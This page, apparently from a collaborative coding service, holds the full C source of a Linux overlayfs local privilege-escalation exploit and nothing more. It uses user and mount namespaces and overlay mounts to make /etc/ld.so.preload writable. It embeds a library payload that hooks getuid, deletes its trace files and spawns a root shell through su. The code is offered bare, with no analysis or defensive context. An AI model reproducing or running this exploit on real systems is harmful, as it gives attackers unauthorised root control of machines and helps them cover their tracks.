Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <unistd.h>
4
#include <sched.h>
5
#include <sys/stat.h>
6
#include <sys/types.h>
7
#include <sys/mount.h>
8
#include <signal.h>
9
#include <fcntl.h>
10
#include <string.h>
11
#include <linux/sched.h>
12

13
#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n    return _real_getuid();\n}\n"
14

15
static char child_stack[1024*1024];
16

17
static int
18
child_exec(void *stuff)
19
{
20
    char *file;
21
    system("rm -rf /tmp/ns_sploit");
22
    mkdir("/tmp/ns_sploit", 0777);
23
    mkdir("/tmp/ns_sploit/work", 0777);
24
    mkdir("/tmp/ns_sploit/upper",0777);
25
    mkdir("/tmp/ns_sploit/o",0777);
26

27
    fprintf(stderr,"mount #1\n");
28
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
29
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
30
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
31
            fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
32
            exit(-1);
33
        }
34
        file = ".access";
35
        chmod("/tmp/ns_sploit/work/work",0777);
36
    } else file = "ns_last_pid";
37

38
    chdir("/tmp/ns_sploit/o");
39
    rename(file,"ld.so.preload");
40

41
    chdir("/");
42
    umount("/tmp/ns_sploit/o");
43
    fprintf(stderr,"mount #2\n");
44
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
45
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
46
            exit(-1);
47
        }
48
        chmod("/tmp/ns_sploit/work/work",0777);
49
    }
50

51
    chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
52
    umount("/tmp/ns_sploit/o");
53
}
54

55
int
56
main(int argc, char **argv)
57
{
58
    int status, fd, lib;
59
    pid_t wrapper, init;
60
    int clone_flags = CLONE_NEWNS | SIGCHLD;
61

62
    fprintf(stderr,"spawning threads\n");
63

64
    if((wrapper = fork()) == 0) {
65
        if(unshare(CLONE_NEWUSER) != 0)
66
            fprintf(stderr, "failed to create new user namespace\n");
67

68
        if((init = fork()) == 0) {
69
            pid_t pid =
70
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
71
            if(pid < 0) {
72
                fprintf(stderr, "failed to create new mount namespace\n");
73
                exit(-1);
74
            }
75

76
            waitpid(pid, &status, 0);
77

78
        }
79

80
        waitpid(init, &status, 0);
81
        return 0;
82
    }
83

84
    usleep(300000);
85

86
    wait(NULL);
87

88
    fprintf(stderr,"child threads done\n");
89

90
    fd = open("/etc/ld.so.preload",O_WRONLY);
91

92
    if(fd == -1) {
93
        fprintf(stderr,"exploit failed\n");
94
        exit(-1);
95
    }
96

97
    fprintf(stderr,"/etc/ld.so.preload created\n");
98
    /*
99
    fprintf(stderr,"creating shared library\n");
100
    lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
101
    write(lib,LIB,strlen(LIB));
102
    close(lib);
103
    lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
104
    if(lib != 0) {
105
        fprintf(stderr,"couldn't create dynamic library\n");
106
        exit(-1);
107
    }*/
108
    write(fd,"/tmp/ofs-lib.so\n",16);
109
    close(fd);
110
    system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
111
    execl("/bin/su","su",NULL);
112
}
113

114

115